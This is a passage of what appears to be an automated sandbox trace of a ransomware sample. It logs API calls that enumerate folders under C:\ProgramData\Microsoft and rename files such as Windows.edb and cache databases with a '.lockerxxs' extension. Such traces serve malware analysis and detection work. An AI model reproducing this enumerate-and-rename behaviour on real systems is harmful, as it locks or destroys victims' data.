ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27edd3a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x502718 [0078.329] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\SecStore\\*.*", lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x29958860, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29958860, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29958860, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x700061, dwReserved1=0x48005c, cFileName=".", cAlternateFileName="")) returned 0x502718 [0078.387] MoveFileA (lpExistingFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Windows.edb" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\windows.edb"), lpNewFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Windows.edb.lockerxxs" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\windows.edb.lockerxxs")) returned 1 [0078.389] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Temp\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e1ecc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27e1ecc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x422b7290, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f7008, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x502618 [0078.390] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x29423840, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29423840, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x610044, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x502518 [0078.394] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80366a76, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80366a76, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x50057e, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0078.403] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\Vault\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xc602eec6, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0078.403] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\VISIO\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80ac5760, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x80ac5760, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x80ac5760, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0078.404] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0078.405] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AIT\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd5be7172, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4ff4e8, dwReserved1=0x4ff4e3, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0078.405] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Caches\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x283ea490, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x9b86da60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x9b86da60, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0078.408] MoveFileA (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db.lockerxxs" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db.lockerxxs")) returned 1 [0078.411] MoveFileA (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Caches\\{11336D5B-7F61-4871-82E3-E0F59766823B}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{11336d5b-7f61-4871-82e3-e0f59766823b}.2.ver0x0000000000000001.db"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Caches\\{11336D5B-7F61-4871-82E3-E0F59766823B}.2.ver0x0000000000000001.db.lockerxxs" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{11336d5b-7f61-4871-82e3-e0f59766823b}.2.ver0x0000000000000001.db.lockerxxs")) returned 1 [0078.413] MoveFileA (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Caches\\{3978EA0A-1C7E-4449-8AE1-E1265F039002}.2.ver0x0000000000000003.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{3978ea0a-1c7e-4449-8ae1-e1265f039002}.2.ver0x0000000000000003.db"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Caches\\{3978EA0A-1C7E-4449-8AE1-E1265F039002}.2.ver0x0000000000000003.db.lockerxxs" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{3978ea0a-1c7e-4449-8ae1-e1265f039002}.2.ver0x0000000000000003.db.lockerxxs")) returned 1 [0078.415] MoveFileA (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Caches\\{40FC8D7D-05ED-4FEB-B03B-6C100659EF5C}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{40fc8d7d-05ed-4feb-b03b-6c100659ef5c}.2.ver0x0000000000000001.db"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Caches\\{40FC8D7D-05ED-4FEB-B03B-6C100659EF5C}.2.ver0x0000000000000001.db.lockerxxs" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{40fc8d7d-05ed-4feb-b03b-6c100659ef5c}.2.ver0x0000000000000001.db.lockerxxs")) returned 1 [0078.417] MoveFileA (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Caches\\{4E36EA69-73D1-4458-9D16-50F8E31A69A0}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{4e36ea69-73d1-4458-9d16-50f8e31a69a0}.2.ver0x0000000000000001.db"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Caches\\{4E36EA69-73D1-4458-9D16-50F8E31A69A0}.2.ver0x0000000000000001.db.lockerxxs" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{4e36ea69-73d1-4458-9d16-50f8e31a69a0}.2.ver0x0000000000000001.db.lockerxxs")) returned 1 [0078.420] MoveFileA (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Caches\\{4E4260A4-7E39-442E-BC22-7FF751D1C161}.2.ver0x0000000000000002.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{4e4260a4-7e39-442e-bc22-7ff751d1c161}.2.ver0x0000000000000002.db"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Caches\\{4E4260A4-7E39-442E-BC22-7FF751D1C161}.2.ver0x0000000000000002.db.lockerxxs" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{4e4260a4-7e39-442e-bc22-7ff751d1c161}.2.ver0x0000000000000002.db.lockerxxs")) returned 1 [0078.426] MoveFileA (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000011.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000011.db"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000011.db.lockerxxs" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000011.db.lockerxxs")) returned 1 [0078.434] MoveFileA (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000012.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000012.db"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000012.db.lockerxxs" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000012.db.lockerxxs")) returned 1 [0078.448] MoveFileA (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db.lockerxxs" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db.lockerxxs")) returned 1 [0078.449] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc60001c7, dwReserved1=0x4e00c4, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0078.450] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9dbcac, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9dbcac, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5004f0, dwReserved1=0x5004eb, cFileName=".", cAlternateFileName="")) returned 0x502618 [0078.451] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\DRM\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0078.458] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\DRM\\Cache\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5004f0, dwReserved1=0x5004eb, cFileName=".", cAlternateFileName="")) returned 0x502618 [0078.459] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\GameExplorer\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9dbcac, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xaeea3462, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x610043, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0078.459] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80e53620, ftLastAccessTime.dwHighDateTime=0x1d305f5, ftLastWriteTime.dwLowDateTime=0x80e53620, ftLastWriteTime.dwHighDateTime=0x1d305f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0078.465] MoveFileA (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report.html" (normalized: "c:\\programdata\\microsoft\\windows\\power efficiency diagnostics\\energy-report.html"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report.html.lockerxxs" (normalized: "c:\\programdata\\microsoft\\windows\\power efficiency diagnostics\\energy-report.html.lockerxxs")) returned 1 [0078.466] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x740078, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0078.470] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Sqm\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x60ae73a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0078.470] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Sqm\\Manifest\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x60ae73a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5004f0, dwReserved1=0x5004eb, cFileName=".", cAlternateFileName="")) returned 0x502618 [0078.471] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Sqm\\Sessions\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x60ae73a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0078.471] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Sqm\\Upload\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x60ae73a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0078.471] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1cc35f15, ftLastAccessTime.dwHighDateTime=0x1ca0440, ftLastWriteTime.dwLowDateTime=0x1cc35f15, ftLastWriteTime.dwHighDateTime=0x1ca0440, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x700055, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0078.475] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x78038410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78038410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x501580, cFileName=".", cAlternateFileName="")) returned 0x502618 [0078.475] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81caf400, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x8246bb80, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5014f8, dwReserved1=0x5014f3, cFileName=".", cAlternateFileName="")) returned 0x502658 [0078.475] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x89bce0a9, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x89bf4209, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f6000, dwReserved1=0x4f5ffb, cFileName=".", cAlternateFileName="")) returned 0x502698 [0078.483] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8ace9ee9, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8ace9ee9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f370, dwReserved1=0x4f70ba, cFileName=".", cAlternateFileName="")) returned 0x502698 [0078.486] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8126b520, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x81291680, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x440020, dwReserved1=0x430045, cFileName=".", cAlternateFileName="")) returned 0x502698 [0078.489] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8d79c9d7, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8d7c2b37, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f370, dwReserved1=0x4f70ba, cFileName=".", cAlternateFileName="")) returned 0x502698 [0078.492] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81c3cfe0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x81c3cfe0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0053, dwReserved1=0x780074, cFileName=".", cAlternateFileName="")) returned 0x502658 [0078.498] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Games\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa224bfc3, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa224bfc3, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f4c0, dwReserved1=0x4f609a, cFileName=".", cAlternateFileName="")) returned 0x502658 [0078.501] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7577bc60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x762ca4e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x762ca4e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f4c0, dwReserved1=0x4f609a, cFileName=".", cAlternateFileName="")) returned 0x502658 [0078.505] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8ab46fc5, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8ab6d126, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0078.508] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77f53bd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc11c60a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc11c60a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f4c0, dwReserved1=0x4f609a, cFileName=".", cAlternateFileName="")) returned 0x502658 [0078.511] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77f53bd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc11c60a0, 